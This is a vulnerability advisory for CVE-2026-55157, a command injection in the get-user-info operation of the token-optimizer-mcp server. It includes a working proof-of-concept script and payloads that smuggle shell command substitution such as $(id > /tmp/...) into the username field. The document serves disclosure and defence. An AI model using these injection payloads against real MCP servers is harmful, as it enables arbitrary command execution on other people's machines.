CVE-2026-55157: OS Command Injection

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smartuser tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

ts getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

text $(id > /tmp/TOKENOPTIMIZERSMARTUSERID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.

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Details

The vulnerable code path is in the smartuser implementation.

The username argument is eventually passed into a shell command similar to:

ts const { stdout: passwdOut } = await execAsync( getent passwd "${username}" || grep "^${username}:" /etc/passwd );

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

bash "$(id > /tmp/TOKENOPTIMIZERSMARTUSERID)" "id"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

text tool: smartuser operation: get-user-info argument: username

Root cause:

text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution

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PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

text Node.js installed token-optimizer-mcp built from source

Build from source:

bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build

Run the PoC:

bash cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js IDOUT="/tmp/TOKENOPTIMIZERSMARTUSERID$(date +%s)$$" rm -f "$IDOUT"

echo "[] ENTRY=$ENTRY" echo "[] id output file: $IDOUT"

python3 - "$IDOUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/tokenoptimizersmartuserpoc.log import json import sys

idout = sys.argv[1]

This value is inserted into: getent passwd "${username}" || grep "^${username}:" /etc/passwd Command substitution still executes inside double quotes. evilusername = f'$(id > {idout})'

messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smartuser", "arguments": { "operation": "get-user-info", "username": evilusername, "useCache": False } } } ]

for msg in messages: print(json.dumps(msg), flush=True) PY

sleep 1

if [ -f "$IDOUT" ]; then echo "[VULN CONFIRMED] smartuser command injection executed:" cat "$IDOUT" ls -l "$IDOUT" else echo "[FAIL] smartuser id output file not created" tail -120 /tmp/tokenoptimizersmartuserpoc.log fi

Expected result:

text [VULN CONFIRMED] smartuser command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKENOPTIMIZERSMARTUSERID...

In my test, the MCP response also showed that the payload reached the shell command:

text Command failed: getent passwd "$(id > /tmp/TOKENOPTIMIZERSMARTUSERID...)" || grep "^$(id > /tmp/TOKENOPTIMIZERSMARTUSERID...):" /etc/passwd

The file /tmp/TOKENOPTIMIZERSMARTUSERID... was created and contained the output of id, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

json { "operation": "get-user-info", "username": "$(touch /tmp/TOKENOPTIMIZERSMARTUSERPWNED)", "useCache": false }

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Impact

This is an OS command injection vulnerability.

Any MCP client that can call the smartuser tool can execute arbitrary shell commands through the username argument of the get-user-info operation.

The commands execute with the privileges of the user running the token-optimizer-mcp server.

Confirmed impact:

text execution of id as the MCP server user arbitrary file creation under /tmp through an injected command